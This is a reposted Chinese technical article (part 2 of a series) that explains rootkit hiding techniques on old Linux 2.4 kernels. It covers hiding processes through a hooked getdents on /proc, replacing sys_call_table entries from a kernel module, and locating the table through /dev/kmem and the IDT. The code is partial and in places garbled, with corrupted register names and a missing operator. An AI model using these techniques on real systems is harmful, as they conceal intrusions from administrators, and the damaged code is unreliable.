Linux系统环境下的高级隐藏技术介绍(2)

2008-02-23 07:27:26来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折



   1)调用原来的系统调用,出错则返回错误代码;
   2)如果which不等于QM_MODULES,则不需要处理,直接返回。
   3)从buf的开始位置进行处理,如果存在特定的名字,则将后面的模块名称向前覆盖该名字。
   4)重复3),直到处理处理完所有的名字,正确返回。

   2.3 隐藏进程

   在Linux中不存在直接查询进程信息的系统调用,类似于ps这样查询进程信息的命令是通过查询proc文件系统来实现的,在背景知识中已经介绍过proc文件系统,由于它应用文件系统的接口实现,因此同样可以用隐藏文件的方法来隐藏proc文件系统中的文件,只需要在上面的hacked_getdents中加入对于proc文件系统的判断即可。由于proc是特殊的文件系统,只存在于内存之中,不存在于任何实际设备之上,所以Linux内核分配给它一个特定的主设备号0以及一个特定的次设备号1,除此之外,由于在外存上没有与之对应的i节点,所以系统也分配给它一个特殊的节点号PROC_ROOT_INO(值为1),而设备上的1号索引节点是保留不用的。通过上面的分析,可以得出判断一个文件是否属于proc文件系统的方法:

   1)得到该文件对应的inode结构dinode;
   2)if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i _dev) == 1) {该文件属于proc文件系统}

   通过上面的分析,给出隐藏特定进程的伪代码表示:

   hacket_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
   {

   调用原来的系统调用;

   得到fd所对应的节点;

   if(该文件属于proc文件系统&&该文件名需要隐藏)
     {从dirp中去掉该文件相关信息}
}

   2.4 修改系统调用的方法

   现在已经解决了如何修改系统调用来达到隐藏的目的,那么如何用修改后的系统调用来替换原来的呢?这个问题在实际应用中往往是最关键的,下面将讨论在不同的情况下如何做到这一点。

   (1)当系统导出sys_call_table,并且支持动态的插入模块的情况下:

   在Linux内核2.4.18版以前,这种内核配置是非常普遍的。这种情况下修改系统调用非常容易,只需要修改相应的sys_call_table表项,使其指向新的系统调用即可。下面是相应的代码:

   int orig_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
   int init_module(void) 
   /*初始化模块*/
   {
   orig_getdents=sys_call_table[SYS_getdents];    //保存原来的系统调用
   orig_query_module=sys_call_table[SYS_query_module]
   sys_call_table[SYS_getdents]=hacked_getdents;  //设置新的系统调用
   sys_call_table[SYS_query_module]=hacked_query_module;
   return 0; //返回0表示成功
   }
   void cleanup_module(void)
   /*卸载模块*/
   {
   sys_call_table[SYS_getdents]=orig_getdents;    //恢复原来的系统调用
   sys_call_table[SYS_query_module]=orig_query_module;
   }

   (2)在系统并不导出sys_call_table的情况下:

   linux内核在2.4.18以后为了安全起见不再导出sys_call_table符号,从而无法直接获得系统调用表的地址,那么就必须找到其他的办法来得到这个地址。在背景知识中提到了/dev/kmem是系统主存的映像,可以通过查询该文件来找到sys_call_table的地址,并对其进行修改,来使用新的系统调用。那么如何在系统映像中找到sys_call_table的地址呢?让我们先看看system_call的源代码是如何来实现系统调用的(代码见/arch/i386/kernel/entry.S):

  ENTRY(system_call)
   pushl 陎      # save orig_eax
   SAVE_ALL
   GET_CURRENT(離)
   cmpl $(NR_syscalls),陎
   jae badsys
   testb $0x02,tsk_ptrace(離)  # PT_TRACESYS
   jne tracesys
   call *SYMBOL_NAME(sys_call_table)(,陎,4)
   movl 陎,EAX(%esp)    # save the return value
ENTRY(ret_from_sys_call)
这段源代码首先保存相应的寄存器的值,然后判断系统调用号(在eax寄存器中)是否合法,继而对设置调试的情况进行处理,在所有这些进行完后,利用call *SYMBOL_NAME(sys_call_table)(,陎,4) 来转入相应的系统调用进行处理,其中的SYMBOL_NAME(sys_call_table)得出的就是sys_call_table的地址。从上面的分析可以看出,当找到system_call函数之后,利用字符匹配来寻找相应call语句就可以确定sys_call_table的位置,因为call something(,陎,4)的机器指令码是0xff 0x14 0x85。所以匹配这个指令码就行了。至于如何确定system_call的地址在背景知识中已经介绍了,下面给出相应的伪代码:

   struct{ //各字段含义可以参考背景知识中关于IDTR寄存器的介绍
   unsigned short limit;
   unsigned int base;
   }__attribute__((packed))idtr;
   struct{ //各字段含义可以参考背景知识中关于中断描述符的介绍
   unsigned short off1;
   unsigned short sel;
   unsigned char none,flags;
   unsigned short off2;
   }__attribute__((packed))idt;
   int kmem;
   / *下面函数用于从kemem对应的文件中偏移量为off处读取sz个字节至内存m处*/
   void readkmem(void *m,unsigned off,int sz) {………}
   /*下面函数用于从src读取count个字节至dest处*/
   void weitekmem(void *src,void *dest,unsigned int count) {………..}
   unsigned sct;  //用来存放sys_call_table地址
   char buff[100]; //用于存放system_call函数的前100个字节。
   char *p;
   if((kmem=open(“/dev/kmem”,O_RDONLY))<0)
   return 1;
   asm(“sidt %0” “:=m” (idtr));          //读取idtr寄存器的值至idtr结构中
   readkmem(&idt,idtr.base 8*0x80,sizeof(idt))    //将0x80描述符读至idt结构中

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:内核操作 Linux2.6内核驱动移植参考

下一篇:如何恢复误删除的Linux文件